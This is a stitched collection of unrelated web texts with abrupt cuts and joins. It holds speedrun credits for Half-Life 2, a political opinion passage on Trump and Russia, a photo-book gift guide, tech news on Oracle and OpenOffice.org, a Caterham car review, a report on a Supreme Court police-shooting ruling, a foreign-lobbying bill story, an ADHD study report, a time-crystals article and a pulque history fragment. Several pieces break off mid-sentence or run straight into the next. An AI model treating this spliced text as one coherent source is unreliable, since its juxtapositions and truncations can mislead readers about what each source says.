the gap between loading a new level and the autosave which occurs a few seconds afterward. However, they do not count as their own segment as they were not necessary and were only included for video continuity. If you have any questions about how we performed the tricks shown in the video, read the HL2DQ Tricks text as well as the HL2DQ Questions Guide text. =======
CREDITS
======= In case you missed it at the end of the video, here's a list of the people that helped make or support the run over the course of it's creation. Thanks guys, and sorry if you weren't included, the old forums are down and are memory is only so good! Runners:
-------- Max]I[muS-X
suga
bandit5k (aka Minim)
magzy
DaleLewill
Chomp (aka Chomp On This, emerica)
Dark_Devil
FU3L3D
LightningX
Lonerville
Ben 'nVa' Riley
Daniel 'o40' Lundgren
Pincus
|Z|Option HL2DQ Founders:
--------------- Tamale
MatthiasII
Mythik Planning/Tricks:
---------------- bi0_gauss
chabo
Chib
Cyberwrath
DaleLewill
DemonStrate
Downup
dude
eLe
Fragalishus
geaowe
Kay
LightningX
lml-mike
Lonerville
major5013
Max]I[muS-X
Nam3
Naz
Nezumi
Pincus
]eQm[_9800_PRO
RTC
speCter
trh
Wampa New Site Admin:
--------------- Samuli 'Samppa' Ylikraka Demo Uploads:
------------- SuperJer Technical help from Valve:
-------------------------- Martin Otten
Yahn Bernier (Yucca will assimilate you) Video Work:
----------- RandomEngy
doxliy
DemonStrate
|Z|Option Previous Half-Life/Half-Life 2 Runs:
------------------------------------ David'marshmallow' Gibbons
Spider-Waffle
Dopefish
Radon (aka -think.circle-)
RandomEngy
Dark_Devil Special Thanks To:
------------------ jacen
Notes Forumers:
--------- Ad&Hoc
Aquashark
Drunksailor
happyface_0
Hlook
jimsfriend
Kiudee
n1ght
ways
xeen =========
MAP TIMES
========= This is the times as listed on the HL2DQ website (www.hl2dq.net). The times are rounded down and do not include _2.dem times. Map name..............Time (part times).....Runner....................Time saved d1_trainstation_01....2:40..................Lonerville................1:09 d1_trainstation_02....0:25..................Max]I[muS-X...............0:06 d1_trainstation_03....0:13..................Max]I[muS-X...............0:02 d1_trainstation_04....1:27.(0:20 + 1:07)....Max]I[muS-X...............0:09 d1_trainstation_05....7:30.(7:10 + 0:20)....Max]I[muS-X...............0:05 d1_trainstation_06....0:13..................Max]I[muS-X...............0:01 d1_canals_01..........0:54..................Max]I[muS-X...............0:10 d1_canals_01A.........1:19..................bandit5k..................0:24 d1_canals_02..........0:13..................bandit5k..................0:04 d1_canals_03..........1:45.(1:30 + 0:15)....Pincus....................0:37 d1_canals_05..........1:18.(0:37 + 0:41)....bandit5k + DaleLewill.....0:26 d1_canals_06..........0:37..................FUEL3D....................0:53 d1_canals_07..........1:34..................Max]I[muS-X...............0:09 d1_canals_08..........1:12..................Max]I[muS-X...............0:29 d1_canals_09..........1:14..................DaleLewill................0:01 d1_canals_10..........1:45..................magzy.....................0:05 d1_canals_11..........1:28.(0:29 + 0:59)....Max]I[muS-X...............1:23 d1_canals_12..........1:37..................Max]I[muS-X...............0:16 d1_canals_13..........0:26..................LightningX................0:02 d1_eli_01.............6:43..................Max]I[muS-X...............0:02 d1_eli_02.............5:43..................Max]I[muS-X...............0:25 d1_town_01............0:23..................bandit5k..................0:08 d1_town_01A...........0:13..................bandit5k..................0:05 d1_town_02............0:15..................bandit5k..................0:01 d1_town_02A...........0:11..................bandit5k..................0:09 d1_town_03.................(skipped)..................................All of it d1_town_04............0:35..................bandit5k..................0:11 d1_t |
None of this is to say that there is a secret international white supremacist conspiracy led by Trump and Putin. After all, it isn't much of a secret: These ties are all out in the open. The point is that this is all of a piece: Trump's casual immorality, his admiration for Putin and his sympathy for the white supremacists in America and their "cause" are not separate issues.
It may indeed turn out that Trump or members of his campaign team colluded with the Russian government to win the election, or that he had illegal financial dealings with oligarchs and kleptocrats that made him vulnerable to blackmail. It could be both of those things or something else entirely. But regardless of his legal exposure, it's also clear that Trump is sincerely sympathetic to white nationalists who are devoted admirers of Vladimir Putin's white nationalism. How much he knows or understands about that connection is impossible to say. But it's yet another link between Donald Trump and Russia, and this one may be the most disturbing of all.Jonathon Kambouris
In this always-on age of tweets and tumblogs and tablets, of Flickr and Facebook, of “reality” programming and insta-celebrities, we’d like to pause a moment and look at some books. Remember books? Remember breathing? Fine Art Singular visions that push the limits of the photographic image
From "Francesca Woodman" © Francesca Woodman
Francesca Woodman edited by Corey Keller
D.A.P./San Francisco Museum of Modern Art
(See more images from the book and an interview with the retrospective's curator here). This is a comprehensive monograph of Francesca Woodman’s photographic oeuvre, which has achieved cult status in the 30 years since the artist’s brief yet prolific career ended when she took her life at age 22. Her vision is chronicled through ethereal self-portraits taken during her studies at the Rhode Island School of Design, the MacDowell Colony, and in New York City and Italy. $50 Color Correction by Ernst Haas
Steidl
A multifaceted study of textures and hues, Haas’s work veers from recognizable cityscapes to close-up abstractions. Each turn of the page reveals surprising twists of the photographer’s skewed imagination and the camera’s interpretative possibilities. $65
From "History's Shadow" © David Maisel
History's Shadow_ by David Maisel_
Nazraeli
Maisel is best known for imagery that reveals the consequences of time upon his subjects: In this ghostly series he rephotographs X-rays from museum archives, showing antiquated objects and skeletal figures in a new light, both literally and figuratively. The results are as striking as they are haunting. $75 The Crooked Path by Jeff Wall
Ludion
As in an exhibition by the same name, Wall has combined his own pictures with those of his artistic influences—including Marcel Duchamp, Eugène Atget and Diane Arbus—giving context and depth to the elaborate mise-en-scènes for which Wall is known. $50 Mapplethorpe X7
teNeues
Robert Mapplethorpe’s challenging and brilliant work is curated here by seven prominent artists who organized major exhibitions of his work between 2003 and 2009. Highlights range from David Hockney’s selection of bold portraiture to Cindy Sherman’s preference for more formalist compositions. No matter who’s curating, there are plenty of provocative nudes to go around. $75
From "Double Life" © Kelli Connell
Double Life, by Kelli Connell
Decode Books
Connell’s intimate, low-key chronicle of the relationship between two women flutters, shakes and breaks apart as the viewer progressively realizes that the artist has used a single model to portray each side of the duo, seamlessly compositing images to create a stirring, keenly observed meditation on perception, connection, love and self-regard. $60 In a Lonely Place,by Gregory Crewdson
Abrams
This compilation of Crewdson’s carefully wrought series includes the little-known Fireflies (circa 1996), where we see the artist developing his taste for blending artificial and natural tableaux, alongside his more well-known work. $40 Abstract Pictures, by Wolfgang Tillmans
Hatje Cantz
Tillmans’s strikingly minimal images, created using various alternative techniques for exposure, are experiments in color, form, material and space that take the viewer well beyond the traditional utility of the still photograph. $75 Documentary & Photojournalism V_iews of a changing world from its most curious and insistent witnesses_
From "Tibet: Culture on the Edge" © Phil Borges
Tibet: Culture on the Edge, Phil Borges
Rizzoli
In his fifth monograph, Borges explores both the indigenous lifestyles of the Tibetan people and their grand surroundings—each threatened by forces including industrial development, climate change and ongoing political tension between Tibet and the People’s Republic of China. Forged over 17 years of periodic visits, Borges’s affinity with the hardy natives informs the book’s illuminating text and warm portraits alike. $45 Is This Place Great or What,_ by Brian Ulrich_
Aperture
(See our interview with Brian and additional samples from _Is This Place Great or What _here). In a decade-long survey of American consumerism, Ulrich casts a wry eye on the nation’s shoppers and employees in big-box outlets and thrift shops—contrasting boom-years decadence and bust-years desolation with chilling irony. $50 My Journey as a Witness,_ by Shahidul Alam_
Rizzoli
Seeking to preserve justice and human rights through the power of the lens, Alam depicts cultures of Bangladesh, China and Pakistan in compassionate black-and-white images punctuated by saturated color bursts. $50 Questions Without Answers: The World in Pictures,_ by the Photographers of VII,_
Phaidon
Since its founding in 2001, independent photo agency VII has been responsible for some of the decade’s most significant documentary photography, as evidenced by this hefty collection of images from Alexandra Boulet, Ron Haviv, John Stanmeyer, Christopher Morris and others. $75 Memory Remains: 9/11 Artifacts at Hangar 17,_ by Francesc Torres_
National Geographic
The human impact of 9/11 is painted in relief through these poignant images of objects removed from New York City’s Ground Zero and stored at JFK airport, waiting to to be documented by the National September 11 Memorial and Museum. $50 The New York Times Magazine Photographs, edited by Kathy Ryan
Aperture
Covering three decades, this volume showcases The New York Times Magazine’s reliable blend of ambitious photojournalism and inventive illustrative work. $75
"Afterwards" Thames & Hudson
Afterwards,_ edited by Nathalie Herschdorfer__,_
Thames & Hudson
Photographers are naturally drawn to shooting disasters, not so much to what happens next. This aching collection spanning
60 years shows what happens when they stick around. $50 Inauguration, by Catherine Opie
Gregory R. Miller
Opie commemorates the inauguration of the first black U.S. president, Barack Obama, in shots of personal candor and celebratory energy. $50 Hard Ground, by Michael O'Brien,
University of Texas Press
O’Brien turns his lens on the homeless, lending them a quiet dignity in portraits made all the more moving by poetry from singer-songwriter Tom Waits. $40
From "Permanent Error" © Pieter Hugo
Permanent Error, by Peter Hugo
Prestel
Documentarian Hugo delivers a gripping account from Ghana: At the Agbogbloshie dump outside Accra, men and children filter through electronic waste for scraps and metal that can be melted down and sold for tiny profits. The haunting scenes from these breathtakingly toxic waste grounds powerfully signal the hazards of electronic consumption and planned obsolescence. $50 A Window on Africa: Ethiopian Portraits, by Hans Silvester,
Thames & Hudson
Silvester’s portraits of natives reveal their steely characters and changing lifestyles in the face of modernity. $40 Culture Reflections of politicians, athletes, musicians and others who move us
From "Power: Portraits of World Leaders" © Platon
Power: Portraits of World Leaders, by Platon
Chronicle
This book features some of the world’s most powerful contemporary leaders in closely cropped shots with high-res detail. No wrinkle, pore, scar or blemish is left behind. Just as these faces cannot turn away, we are both allowed and compelled to look these powerful people in the eyes. $35 Rock Seen, by Bob Gruen
Abrams
Rock photography’s Zelig generously opens his vault for a democratic survey of ’70s rock—heavy metal, glam, disco, punk and new wave all get their due. Not to mention ’60s idols like John & Yoko or modern rockers like Green Day. $45 Johor: Asia Latitude One, by Justin Guariglia, text by John Krich,
de.MO
Geographic photographer Guariglia was asked by a princess of Johor, Malaysia, to photograph the state. His rich images grace an exotic volume featuring hand-sewn book binding. $75
"Guts and Glory" Taschen
Guts and Glory, by Neil Leifer
Taschen
In the 1960s and ’70s, nobody had a better view of the gridiron or captured it more vividly than Sports Illustrated’s Leifer. Whether or not you’re a football fan, these classic NFL images are incredible: studies of famed athletes in raw motion, slices of piercing on-field drama, profiles in stoic courage, win or lose. $50 Patti Smith 1969-1976, by Judy Linn
Abrams
Fans of Smith’s Just Kids will gladly note a third player in the intimate relationship between the punk poetess and Robert Mapplethorpe. Photographer Judy Linn captures the two talents in the bohemian years before their fame in these raw, gripping portraits. $25 The Vanities, Hollywood Parties 2000-2009, by Larry Fink
Schirmer/Mosel
The official Vanity Fair photographer at some of Tinseltown’s most glamorous parties, Fink shoots the stars with a pitiless gaze of near contempt. $68
"Portraits" Damiani
Portraits, by Michael Thompson
Damiani
Through flash and stagecraft, Thompson captures shots that both project the glamourous images we’re meant to see and offer glimpses into the subjects’ hidden selves. $65 Beck, by Autumn de Wilde
Chronicle
Shot over 15 years, this volume traces the evolution of its subject from scuzz-meister to campy love god to emotional shipwreck, with insight lent by de Wilde’s friendship with the musician. $35 A Game to Love by Mike Powell
Abrams
Athletic shooter Powell homes in on the passionate sport of tennis, capturing its grace, intensity and pageantry. $40
From "All Access: The Rock 'N' Roll Photography of Ken Regan" © Ken Regan
All Access: The Rock 'N' Roll Photography of Ken Regan, by Ken Regan
Insight Editions
This countercultural odyssey begins in the 1950s with Elvis and runs into the 21st century, encompassing dozens of major performers in concert or, most effectively, in private portraits and candid shots. Regan’s connection with musicians ranging from the Stones’ Mick Jagger and Keith Richards to singer-songwriter James Taylor is reflected in their written contributions to the book. $75 Teenage Kissers, by Ed Templeton
Seems
Ah, youth! Templeton captures dozens of youngsters expressing love (or something like it) in public in this grittily engrossing lo-fi volume. (See more from Teenage Kissers and our interview with Ed Templeton here.) $25 Environment and Nature From altered land to shining sea, documentation of the changing face of our planet
From "Fish Work: The Bering Sea" © Corey Arnold
"Fish Work: The Bering Sea" Nazraeli
Fish-Work: The Bering Sea, by Corey Arnold
Nazraeli
(See more images from Fish-Work and our interview with Corey here). During his seven years as a crab fisherman in the untamed waters off of Alaska, Arnold photographed not only the ferocity of the ocean and the mystery of its wildlife but also the rough and often absurd boat culture he shared with his fellow fishermen. All of this is backdropped by the icy majesty of the remote landscape, where tundra-covered cliffs sharply contrast many of the book’s surreally playful maritime scenes.** $65** Ocean Soul, by Brian Skerry
National Geographic
As proof of his assertion that the oceans represent the “last truly wild places on Earth,” underwater veteran Skerry submits iridescent portraits of sea creatures in splendid isolation and submerged ecosystems rendered with the patience of a scientist and the eye of an artist. $50 The Altered Landscape, edited by Ann M. Wolfe
Rizzoli
Here New Topographics artists document the morphing of the American West into residential sprawl—through photographs both dynamic and disturbing. $65
Nests: Fifty Nests and the Birds that Built Them Chronicle
Nests: Fifty Nests and the Birds that Built Them, by Sharon Beals
Chronicle
Drawn from the exquisite collections of three California-based academies and institutes, the nests in these delicate, detailed images reflect the meticulous care and skill of their creators—50 species of birds, each described in facing-page text that’s as free of scientific jargon as it is informative. $30 Visions of Earth: Beauty, Majesty, Wonder
National Geographic
This collection pays tribute to the diversity of hues, texture, light and shape among Earth’s living things, evoking nothing less than a printed version of BBC’s Planet Earth series. $40
From "The Lost Photographs of Captain Scott" Richard Kossow, courtesy of Little, Brown and Company
The Lost Photographs of Captain Scott, by David M. Wilson
Little, Brown and Company
(Take a closer look at this book here). A century after he and his crew perished while returning from the South Pole, Robert Falcon Scott’s pictures of the trip get their due in this historic volume. A series of contact prints made from 4x3.25-inch glass plates was discovered and auctioned off at Christie’s in 2001; recent scholarship attributes them to Scott, who made them in the wilds of Antarctica on a voyage of no return. The book chronicles the images and journey in fascinating detail. $35 MonoVisioN, by Scott Frances
Pond Press
This fluidly rendered architectural study revisits seminal works by Frank Lloyd Wright, Richard Meier and Ludwig Mies van der Rohe. $40 Retrospective New volumes offer updated views of past masterpieces
"Brassaï in America" Flammarion
Brassaï in America, by Agnes de Gouvion Saint-Cyr
Flammarion
Brassaï was enchanted when he visited the U.S. in 1957; he shot New York cityscapes, New Orleans burlesque houses and other exotic slices of Americana—often uncharacteristically in color. $50 Magnum Contact Sheets, edited by Kristen Lubben
Thames & Hudson
A stunning showcase. Sit with Magnum legends as they circle sheets with grease pencils. $150 Photographers A-Z, by Hans-Michael Koetzle
Taschen
This packed compendium of photography’s masters—from Slim Aarons to Piet Zwart—is also a collector’s photo-book guide. $70 The Iconic Photographs, by Steve McCurry
Phaidon
McCurry’s portraits are lavishly printed in a huge 15x20-inch volume, appearing as gallery prints in a bound book. $395 The Suffering of Light, by Alex Webb
Aperture
(See an interview with Webb and more images from the book here). **In far-flung corners of the globe, Webb captures glimpses of beauty in impoverished lives and stoicism in the face of strife. **$65 Age of Silver: Encounter with Great Photographers, by John Loengard
powerHouse
Life’s former picture editor gathers memories and iconic images. $45 Helmut Newton: Polaroids, Helmut Newton
Taschen
Even in Polaroids crafted as test shots for his clients, Newton’s treatment of the female form remains singularly stunning. $60
"Harper's Bazaar: Greatest Hits" AdamsBack in January, the Amsterdam-based consultancy Software Improvement Group warned government entities not to deploy OpenOffice.org until Oracle proved its commitment to treating the software as well--and with as much investment--as Sun Microsystems had.
At the time, of course, Oracle was in the process of acquiring Sun, which had long been the primary sponsor of the open-source productivity software.
Fast forward seven months, and it's looking like there was good reason for what may have seemed back then like overcautious advice. Not only is the database behemoth Oracle suing Google over its use of Java in Android, but it's also snipped the cord on OpenSolaris, the open source version of Sun's Solaris operating system.
Oracle is effectively declaring war on open source software, in other words, and business users are right to be worried.
The 'Fork' Factor
OpenOffice.org is not Oracle's only other open source undertaking. There's also MySQL, for instance, which will likely feel the effects of Oracle's revenue-minded wrath as well.
A key difference, however, is that MySQL has already been "forked" several times, meaning that there are already equivalent versions under the care of multiple projects independent of Oracle. Drizzle is probably the most notable example among them; others include Percona and MariaDB.
Similarly, the newly announced Illumos project, led by Nexenta, promises to become an independent fork of OpenSolaris, thereby continuing development on that technology as well.
More Than 40 Million Downloads
For OpenOffice.org, however, the future does not look nearly so well-assured, despite the fact of its global popularity. Back in early 2005 the software surpassed 40 million downloads, and its community estimates that it now accounts for some 10 percent of the overall office suite market.
As is generally the case with open source software, the absence of purchase records means that it's difficult to track and prove usage. Nevertheless, OpenOffice.org is included in many popular Linux distributions, including Ubuntu, and is surely the leading open-source alternative to Microsoft's pricey Office suite.
So what does it all mean for business users of OpenOffice.org? Is it time to begin looking for something else?
Where There's a Will, There's a Way
That would be premature.
I believe it is likely that Oracle will axe its support for OpenOffice.org, preferring instead to focus on technologies such as StarOffice that bring in new revenues. That, however, does not mean the open office suite will disappear.
Rather, one of the best aspects of the world of free and open source software is that where there's a community of interested developers and users with the will to keep a technology alive, there's no reason they can't do that--and it's a safe bet that some of them are, right now.
450,000 Contributors
The code is still out there, and anyone with the desire could download it, rename it, and give it new life. Some 450,000 contributors have already worked on the project, after all, so there are plenty of people with the skills and interest to keep it going--and keep it going they will.
Oracle may have decided that profit is paramount, but the world's millions of open source users don't have to be dependent on its good will. OpenOffice.org is simply too big and too popular to be allowed to die; the time has come to give it its independence.
The question then, of course, will be whether Oracle seizes such a move as new fodder for patent vengeance.Caterham 7 160 Reading time: about 2 minutes. British
Cars
Design
Racing
Retro
There’s no way that Colin Chapman could possibly have known that his original design for the Lotus 7 in 1957 would still be in production 56 years later. His concept of a cheap to run, cheap to own, cheap to buy race car that could be driven to the track, raced all day and then driven home has proven to be one of the most enduring creations in the history of automotive design.
The original Lotus 7s were offered as kits to keep costs down, the structure of the British automotive tax system meant that significant savings could be had if you built the car yourself in your garage – though somewhat obtusely, the law stipulated that no assembly instructions could be provided with the kit. To get around this, Chapman included a full set of disassembly instructions with each kit that only needed to be followed in reverse to become a step by step guide to piecing the car together.
In 1973 Lotus announced that they would be discontinuing the 7 to focus on newer models, this lead one of their largest dealers to put in an offer to purchase the rights and equipment to manufacture the car – this offer was accepted by Lotus which lead to the foundation of Caterham, the company that has now been producing 7s and 7-derivatives for 40 years.
The car you see here is the only-just-released Caterham 7 160, it’s available for purchase as either a complete kit or turn-key car form and offers excellent affordability for those who want a weekend sports car without all the associated costs. The kit version starts at £14,995 ($24,000 USD) with the turn-key version costing slightly more at £17,000 ($27,450).
From a performance perspective, the new 160 packs a lightweight Suzuki turbocharged engine under the hood capably of 80hp and 79ft-lbs of torque. Though this may not sound like much, it’s important to remember that the whole car weighs in at just 490kgs (1080lbs), making it one of the lightest production cars in the world. This lightness means that the acceleration, handling and braking capabilities are all remarkably good – this is a little car that can embarrass much larger and more expensive machinery both on the track and on the road.
For those who haven’t yet driven a 7, it’s difficult to describe the sensation. It’s a little like strapping a four-wheeled jetpack to your back, then racing a vehicle that handles like a go-kart at racing car speeds. The handling is so good it’s a borderline religious experience and the infectious nature of the fun it’s possible to have in the go seat of a Caterham will change your life forever.
And believe it or not, that’s me underselling it.
Visit Caterham here to read more about the all-new Caterham 7 160.The Supreme Court for a number of years has sided with cops in police brutality cases.
The justices did it again Monday, issuing an unsigned summary decision granting immunity to a Texas officer who shot and killed a motorist fleeing police, even though the officer lacked training or even specific orders to open fire.
In so many words, the court ruled the shooting death was legally justified.
The case arose from a civil rights lawsuit against Texas Department of Public Safety trooper Chadrin Mullenix, who wasn't involved in the chase but had responded to a checkpoint along its route to help intercept a vehicle driven by Israel Leija. Leija was wanted on an arrest warrant, and had fled when police officers tried to serve the warrant at a Sonic restaurant.
When Mullenix observed that other officers had already set up tire spikes beneath an overpass to disable Leija's car, he considered his own solo strategy: He grabbed his service rifle, hopped atop the overpass and got into "shooting position."
Mullenix had asked a superior for permission to proceed, but by the time he was in position, he claimed, he was too far away to hear the order to stand by to "see if the spikes work first." Once Leija was within his range of vision, Mullenix shot six rounds. Moments later, Leija's car hit the median and flipped over two and a half times.
What killed Leija, it was later determined, wasn't the crash but the shots from Mullenix's rifle, four of which hit him in the upper torso.
In the Supreme Court's view, Mullenix's use of deadly force was reasonable.
Because the case involved "a fugitive fleeing arrest, at speeds over 100 miles per hour, who was armed and possibly intoxicated" and "who had threatened to kill any officer he saw if the police did not abandon their pursuit," the court declined to find Mullenix "plainly incompetent" and concluded he did not violate any "clearly established" precedent under the Constitution.
The court also admonished that it has "never found the use of deadly force in connection with a dangerous car chase to violate the Fourth Amendment."
Justice Sonia Sotomayor, the lone dissenter, said there was no doubt what this case was about.
"Mullenix’s rogue conduct killed the driver, Israel Leija, Jr.," she wrote flatly, before combing through the factual record to assail how the court "recharacterized" the facts to favor the officer, including his superior's order to not proceed.
"Indeed, reading the majority opinion," Sotomayor wrote, "one would scarcely believe that Mullenix arrived at the overpass several minutes before he took his shot, or that the rural road where the car chase occurred had few cars and no bystanders or businesses."
Then Sotomayor offered a crucial fact that the court seemed to have purposely ignored.
"When Mullenix confronted his superior officer after the shooting, his first words were, 'How’s that for proactive?'" she wrote.
"The glib comment does not impact our legal analysis," she wrote as she explained the legal standard governing use of force. "But the comment seems to me revealing of the culture this Court’s decision supports when it calls it reasonable — or even reasonably reasonable — to use deadly force for no discernible gain and over a supervisor’s express order to'stand by.'"
Then came this bit of legal realism about police violence -- perhaps the greatest indictment of police brutality written in a Supreme Court opinion since events in Ferguson drew the national conversation to that subject last summer.Democratic senators have introduced legislation that would increase the Justice Department’s authority to punish people who violate foreign lobbying laws.
The Foreign Agents Registration Act (FARA) requires individuals working on behalf of a foreign government or official to register with the Justice Department within 10 days of signing a contract.
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The law has come under the microscope after high-profile figures tied to President Trump retroactively registered as foreign agents: Paul Manafort, Trump’s former campaign chairman, and Michael Flynn, the president’s former national security adviser.
“When lobbyists hide their relationships with foreign governments, it is not just a conflict of interest — it is dangerous to our national security,” Duckworth said in a statement.
The first time a person files FARA paperwork late, DOJ would be able to levy fines of at least $2,500. The amount doubles for the second offense.
“These former Trump staffers, like countless other lobbyists, failed to disclose their status as foreign agents and they should face the consequences instead of being allowed to continue to operate with impunity.”
The registration laws on foreign lobbying are routinely flouted, according to Justice Department Inspector General Michael Horowitz, who testified before the Senate Judiciary Committee last week.
Between 2013 and 2015, more than 60 percent of foreign agents did not file on time and nearly 47 percent did not provide other required disclosures, he said.
"The American people deserve to know about deep-rooted, deep-pocketed dealings between American citizens and foreign governments – and they deserve to make their own judgements about foreign lobbyists like Paul Manafort or Michael Flynn before they have the chance to influence U.S. government policy," Blumenthal said in a statement.
In addition to fines, the legislation from Senate Democrats would create even more requirements for foreign agents.
While foreign agents must now disclose specific contacts they've made inside and outside of government for their client — and disclose any materials they have given them — the newly introduced legislation would require that the also disclose the dates of the meetings and who was given the materials.
The FARA unit is within the National Security Division of the DOJ. It does not have the power to subpoena anyone it suspects may not be following the law and mostly relies on media reports or tips from other agencies. This legislation would not give it that authority.
Although violating FARA is a felony, there have only been seven criminal prosecutions since 1966, and additional, severe charges were also attached. The DOJ operates on voluntary compliance, which means that a person can evade trouble if they file paperwork — even if it’s late.
Foreign lobbying requirements are much stricter than those under the Lobbying Disclosure Act (LDA), the domestic lobbying law. Foreign agents must post contracts with clients and file updates every six months detailing contacts with the press, government officials and individuals at nonprofits and think tanks, for example.
The registration requirements also extend beyond lobbying work to include consulting and public relations services. Also, to be considered a foreign agent, a person doesn’t need to be paid directly by a government. If a client is “influenced” by a foreign government, politician or political party, a registration is often required.
Lawmakers in both chambers are looking for ways to reform FARA.
On Wednesday, Horowitz cited filing fees, implemented in 1993, as contributing to the drop in foreign agent registrations
— This post was updated at 4:24 p.m.Alarming rise in the diagnosis of ADHD in America
By Margaret Rogers
In the last 10 years the number of children being diagnosed by a doctor as having attention deficit hyperactivity disorder (ADHD) has risen by 66%, according to a new study.
The study was conducted by Northwestern Medicine can be found in the journal Academic Paediatrics. The study further suggests that, over the same period, the care of children with ADHD has switched from primary care physicians to specialists such as paediatric psychiatrists.
Researchers analysed ADHD trends during the period 2000 to 2010. The cases which were considered were children under the age of 18 who had been diagnosed and treated by practice-based doctors. The researchers analysed changes which had occurred in both the diagnosis and treatment of ADHD over this decade.
The first author of the study, Craig Garfield said ‘ADHD is now a common diagnosis among children and teens. The magnitude and speed of this shift in one decade is likely due to an increased awareness of ADHD, which may have caused more physicians to recognise symptoms and diagnose the disorder.’
Garfield said that the symptoms of ADHD include trouble paying attention and controlling impulsive behaviours and being overly active. These symptoms, he suggests, can affect children and teens both academically and socially. Garfield is a paediatrician at Children’s Memorial Hospital and Northwestern Memorial Hospital and also a professor in paediatrics and medical social sciences at Northwestern University.
Garfield added that in the past decade several important regulatory and clinical changes regarding ADHD and the medications used to treat it have occurred, yet it was unknown how these factors have affected ADHD management.
The IMS Health National Disease and Therapeutic Index was used by Garfield and his team to quantify ADHD diagnosis and treatment patterns in young people under the age of 18. The study suggests that in 2010, 10.4 million children and teens under the age of 18 were diagnosed with ADHD by doctors during outpatient visits. This compares to 6.2 million in 2000.
Psycho-stimulants remain the most common mediation which is prescribed to young people with ADHD, the study found. In the year 2000 96% of children treated for ADHD were treated by using psycho-stimulants, this fell to 87% in the year 2010. Garfield said that the reason for the decrease was unclear, but there was not an increase in treatment with other, substitute medications.
It was found that the majority of children and teens with ADHD are still treated by their primary physicians but there has been a substantial move from primary care doctors to specialists.
Garfield concluded ‘Recently, there’s been more public health advisories issued about problems or side effects of different AHD medications. It may be that general paediatricians are shying away from the management of these medications. Given the short supply of psychiatrists specialising in paediatric ADHD this trend might make it difficult for many children to receive medical treatment of ADHD in the future.’Earlier this year, physicists had put together a blueprint for how to make and measure time crystals - a bizarre state of matter with an atomic structure that repeats not just in space, but in time, allowing them to maintain constant oscillation without energy.
Two separate research teams managed to create what looked an awful lot like time crystals back in January, and now both experiments have successfully passed peer-review for the first time, putting the 'impossible' phenomenon squarely in the realm of reality.
"We've taken these theoretical ideas that we've been poking around for the last couple of years and actually built it in the laboratory," says one of the researchers, Andrew Potter from Texas University at Austin.
"Hopefully, this is just the first example of these, with many more to come."
Time crystals are one of the coolest things physics has dished up in recent months, because they point to a whole new world of 'non-equilibrium' phases that are entirely different from anything scientists have studied in the past.
For decades, we've been studying matter, such as metals and insulators, that's defined as being 'in equilibrium' - a state where all the atoms in a material have the same amount of heat.
Now it looks like time crystals are the first example of the hypothesised but unstudied 'non-equilibrium' state of matter, and they could revolutionise how we store and transfer information via quantum systems.
"It shows that the richness of the phases of matter is even broader [than we thought]," physicist Norman Yao from the University of California, Berkeley, who published the blueprint in January, told Gizmodo.
"One of the holy grails in physics is understanding what types of matter can exist in nature. [N]on-equilibrium phases represent a new avenue different from all the things we've studied in the past."
First proposed by Nobel Prize-winning theoretical physicist Frank Wilczek back in 2012, time crystals are hypothetical structures that appear to have movement even at their lowest energy state, known as a ground state.
Usually when a material enters its ground state - also referred to as the zero-point energy of a system - movement should theoretically be impossible, because it would require it to expend energy.
But Wilczek envisioned an object that could achieve everlasting movement while in its ground state by periodically switching the alignment of atoms inside the crystal over and over again - out of the ground state, back again, and repeat.
Let's be clear - this isn't a perpetual motion machine, because there's zero energy in the system. But the hypothesis did initially seem unlikely for another reason.
It hinted at a system that breaks one of the most fundamental assumptions of our current understanding of physics - time-translation symmetry, which states that the laws of physics are the same everywhere and at all times.
As Daniel Oberhaus explains for Motherboard, time-translation symmetry is the reason why it would be impossible to flip a coin at one moment and have the odds of heads or tails at 50/50, but then the next time you flip it, the odds are suddenly 70/30.
But certain objects can break this symmetry in their ground state without violating the laws of physics.
Consider a magnet with a north and a south end. It's unclear how a magnet 'decides' which end will be north and which will be south, but the fact that it has a north and a south end means it won't look the same on both ends - it's naturally asymmetrical.
Another example of a physical object with an asymmetrical ground state is a crystal.
Crystals are known for their repeating structural patterns, but the atoms inside them have 'preferred' positions within the lattice. So depending on where you observe a crystal in space, it will look different - the laws of physics are no longer symmetrical, because they don't apply equally to all points in space.
With this in mind, Wilczek proposed that it might be possible to create an object that achieves an asymmetrical ground state not across space, like ordinary crystals or magnets, but across time.
In other words, could atoms prefer different states at different intervals in time?
Fast-forward a few years, and American and Japanese researchers showed that this could be possible, with one major tweak to Wilczek's proposal - in order to get time crystals flipping their states over and again, they needed to be given a 'nudge' every once in a while.
In January this year, Norman Yao described how such a system could be built, describing it to Elizabeth Gibney at Nature as a "weaker" kind of symmetry violation than Wilczek had imagined.
"It's like playing with a jump rope, and somehow our arm goes around twice, but the rope only goes around once," he says, adding that in Wilczek's version, the rope would oscillate all by itself.
"It's less weird than the first idea, but it's still fricking weird."
Two separate teams of researchers, one led by the University of Maryland, and the other by Harvard University, took this blueprint and ran with it, creating two different versions of a time crystal that appeared equally viable.
"Both systems are really cool. They're kind of very different. I think they're extremely complementary," Yao told Gizmodo.
"I don't think one is better than the other. They look at two different regimes of the physics. The fact that you're seeing this similar phenomenology in very different systems is really amazing."
Described in pre-print papers in January, the University of Maryland's time crystals were created by taking a conga line of 10 ytterbium ions, all with entangled electron spins.
Chris Monroe, University of Maryland
As Fiona MacDonald reported for us at the time:
"The key to turning that set-up into a time crystal was to keep the ions out of equilibrium, and to do that the researchers alternately hit them with two lasers. One laser created a magnetic field and the second laser partially flipped the spins of the atoms."
Because the spins of all the atoms were entangled, the atoms settled into a stable, repetitive pattern of spin flipping that defines a crystal, but it did something truly strange to become a time crystal - the spin-flipping pattern in the system repeated only half as fast as the laser pulses.
"Wouldn't it be super weird if you jiggled the Jell-O and found that somehow it responded at a different period?" Yao explained.
The Harvard time crystal instead used diamonds that had been loaded with so many nitrogen impurities, they turned black.
The Harvard diamond. Credit: Georg Kucsko
The spin of these impurities were able to be flipped back and forth like the spin of the ytterbium ions in the Maryland experiment.
It was an exciting moment for |
took a different view. “Pulque was seen as a corrupting influence on indigenous populations. The Spanish thought it was disgusting, and they wanted to get rid of it,” he says.
Its decline continued in independent Mexico, says food historian Rachel Laudan. “German brewers came into Mexico with big modern factories in the late 19th century. There was this argument, a calculated campaign to discredit pulque, really, saying that beer was a scientifically produced, European drink, while pulque was backward and unhygienic, that excrement was used to ferment it,” she says.
Pulque at Sapito Pulquero in Puebla, Mexico, comes in different flavors such as guava. Manhattan.
